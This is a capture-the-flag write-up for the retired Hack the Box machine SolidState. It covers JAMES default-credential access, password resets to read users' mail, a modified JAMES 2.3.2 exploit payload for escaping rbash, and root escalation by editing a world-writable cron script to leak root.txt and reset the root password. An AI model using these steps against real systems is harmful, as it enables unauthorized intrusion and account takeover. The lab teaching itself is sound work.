SolidState: Retired 27 Jan 2018

If you are interested in learning more about penetration testing, Hack the Box is a great way to get your feet wet in a legal and well built environment. Head over to hackthebox.eu to get started.

Solidstate was extremely similar to another training box I had done elsewhere (you will know what I am talking about if you have done it). This box was just different enough to make me have to rethink a few aspects.

Enumeration

Starting with a normal NMAP scan through Sparta, I immediately saw that there were a few interesting services running.

Exploring the web page did not reveal much crucial information other than the company name of SolidState.

Recalling the JAMES server from other engagements, I turned back to some notes and saw that I had tried the default credentials against the JAMES Remote Admin shell previously. So I tried that same combo root:root and had access to the admin shell. Using the listusers command, I was able to get a list of all configured users.

Seeing that there was also POP3 running through JAMES, I decided to change all the user passwords in the admin shell to something I would know so that I could go back through POP3 and read any emails. The command for this is: setpassword <user> gl0b0

Using the new passwords, I logged in as each user; John and Mindy were the only users with emails. These emails included an exchange where John sends Mindy her new password for SSH access: P@55W0rd1!2@

Initial Access

Using the password for Mindy, I was able to SSH into the box: ssh mindy@10.10.10.51. The shell however, was an RBASH shell and I was pretty limited in what I could do, though I was able to get the user hash: 914d0a4ebc177889b5b89a23f556fd75

To break out of the shell, I decided to go back and use a known exploit (searchsploit james) for JAMES 2.3.2. The exploit is available here: https://www.exploit-db.com/exploits/35513/. From my previous experience, the default payload for this exploit was not what I wanted. I updated the payload to serve my purposes better by bypassing the RBASH shell once the exploit triggers.

########Updated Payload Here###########
payload = "python -c 'import pty;pty.spawn(\"/bin/bash\")'"

Other than that change, the exploit could be used as is. Running the exploit seems to be successful, the only requirement is that a user must login to actually trigger the exploit. Logging in again as Mindy triggered the exploit and provided me with a fully functioning shell.

Privilege Escalation

First thing to do at this point was to upload linuxprivchecker.py to get a good understanding of the system. I simply downloaded the script from my host: wget http://<myhost>/linuxprivchecker.py to Mindy's home directory.

linuxprivchecker shows that there is a World Writable File owned by root in /opt/tmp.py.


#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/*')
except:
     sys.exit()

This looks like a script that runs on a schedule to clean up the /tmp directory. To check is this script does run on a schedule, I updated the os.system line to:

os.system('rm -r /tmp/*; cat /root/root.txt > /tmp/gl0b0

Then I watched the tmp directory for a little bit using watch ls /tmp. Sure enough, after a couple minutes, a gl0b0 file appeared in the directory with the hash. Knowing this worked, I updated the edited line to:

os.system('rm -r /tmp/*; echo root:gl0b0 | /usr/sbin/chpasswd ')

When the file ran this time, I was able to get full root access. Listing out the crontab reveals what I already knew.

*/3 * * * * python /opt/tmp.py

The job was set to run every 3 minutes. Now with full root access, I grabbed the hash.

What I Learned

Sometimes all the information you need is not there. I could not figure out a way to determine that there was a crob job for the tmp.py file as a low-priv user. This was purely trial and error.
Always, Always, Always pay attention to files that are not in places you would expect them to be: ie. a Python script in opt.